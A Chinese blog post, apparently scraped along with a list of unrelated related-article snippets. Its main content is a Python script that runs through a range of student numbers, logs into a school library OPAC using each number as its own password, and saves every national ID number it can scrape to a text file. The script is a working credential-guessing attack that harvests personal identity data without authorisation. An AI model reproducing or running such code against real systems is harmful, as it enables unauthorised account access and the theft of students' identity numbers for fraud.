Python 获取学校图书馆OAPC账号对应的身份证号码
import urllib.request
import urllib.parse
import http.cookiejar
import re lib_login = 'http://xxx.edu.cn/reader/redr_verify.php' def get_info(number, passwd, myfile):
cj = http.cookiejar.CookieJar()
pro = urllib.request.HTTPCookieProcessor(cj)
opener = urllib.request.build_opener(pro) postDict = {
'number':str(number),
'passwd':str(passwd),
'select':'cert_no',
'returnUrl':''
}
postData = urllib.parse.urlencode(postDict).encode()
op = opener.open(lib_login, postData)
data = op.read().decode()
log_ok = False
is_login = re.compile('<font color="blue">.*</font>')
for x in is_login.findall(data):
login_ok = re.compile('<[^>]+>')
login_ok = login_ok.sub('', x)
if login_ok != '':
log_ok = True
else:
log_ok = False
if log_ok:
person_id = re.compile('身份证号: </span>\d*</TD>')
for x in person_id.findall(data):
usr_psw = re.compile('<[^>]+>')
usr_psw = usr_psw.sub('', x)
usr_psw += '\n'
number = str(number)
number += ' '
myfile.write(number)
myfile.write(usr_psw)
myfile.flush()
print(number + 'OK')
print(usr_psw) f = open('wifi2013.txt', 'a')
for i in range(2013002734, 2013003980):
get_info(i, i, f)
f.close()
此代码逻辑简单缺乏异常的处理,实在是刚入门Python的很差的代码,后续可能把它继续拿出来优化
Python 获取学校图书馆OAPC账号对应的身份证号码的更多相关文章
- 使用shell/python获取hostname/fqdn释疑
一直以来被Linux的hostname和fqdn(Fully Qualified Domain Name)困惑了好久,今天专门抽时间把它们的使用细节弄清了. 一.设置hostname/fqdn 在Li ...
- python 获取日期
转载 原文:python 获取日期 作者:m4774411wang python 获取日期我们需要用到time模块,比如time.strftime方法 time.strftime('%Y-%m-% ...
- python获取字母在字母表对应位置的几种方法及性能对比较
python获取字母在字母表对应位置的几种方法及性能对比较 某些情况下要求我们查出字母在字母表中的顺序,A = 1,B = 2 , C = 3, 以此类推,比如这道题目 https://project ...
- python获取文件大小
python获取文件大小 # !/usr/bin/python3.4 # -*- coding: utf-8 -*- import os # 字节bytes转化kb\m\g def formatSiz ...
- python 获取一个列表有多少连续列表
python 获取一个列表有多少连续列表 例如 有列表 [1,2,3] 那么连续列表就是 [1,2],[2,3],[1,2,3] 程序实现如下: 运行结果:
- [python实用代码片段]python获取当前时间的前一天,前一周,前一个月
python获取当前时间的前一天,前一周,前一个月. 实用python的datetime.timedelta方法,避免了有的月份是30和31等不同的情况. 获取前一个月的时间,方法实现:首先datet ...
- Python获取目录、文件的注意事项
Python获取指定路径下的子目录和文件有两种方法: os.listdir(dir)和os.walk(dir),前者列出dir目录下的所有直接子目录和文件的名称(均不包含完整路径),如 >> ...
- Python 获取 网卡 MAC 地址
/*********************************************************************** * Python 获取 网卡 MAC 地址 * 说明: ...
- python 获取 mac 地址 的代码
python 获取 mac 地址 的例子,有需要的朋友可以参考下. #!/bin/python import os import re def GetMac(): if os.name == ...
随机推荐
- 安装zabbix
安装zabbix 1. 准备好lamp架构(安装好mysql,php) 2.在数据库中授权: MariaDB [(none)]> create database zabbix charset u ...
- 14种网页图片和文字特效的jQuery插件代码
1.网页图片3d旋转jQuery代码 演示和下载地址 2.存css3实现的tabl选项卡代码 演示和下载地址 3.jQuery标签旋转代码 演示和下载地址 4.鼠标悬浮的图片选项卡代码 演示和下载地址 ...
- silverlight 不能输入中文问题
<param name="Windowless" value="true" />将调用silverlight页面的这句删除掉应该就能解决问题了 1. ...
- php异常处理示例
php异常处理使用示例,代码说明了普通错误和致命错误捕获及处理的方法. 代码如下: <?php //禁止错误输出 error_reporting(0); //设置错误处理器 set_error ...
- js对象与this指向
创建对象的方法 1.对象字面量法 var obj={} var obj={ 'first-name':'Tom', 'last-name':'bush', age:24, Family:{ Broth ...
- char引发的血案
char cc = 'j';cc = (char)(cc -32); //注意下,自动转型了System.out.println(cc);
- JSON (仅限本地)
<script type="text/javascript"> setInterval(function() { $("#content").loa ...
- 【Delphi】注册快捷键
ShortCutToText , TextToShortCut 需 uses Menus; type TForm1 = class(TForm) HotKey1: THotKey; Button1: ...
- How to get the underlying SSRS Report Query, reset query , add your own ranges and execute report [AX2012]
Below is the small code snippet to get the underlying query of the SSRS report, reset query, prompt ...
- 谈谈final、finally、finalize的区别
1.final:如果一个类被final修饰,意味着该类不能派生出新的子类,不能作为父类被继承.因此一个类不能被声明为abstract,又被声明为final.将变量或方法声明为final.可以保证他们在 ...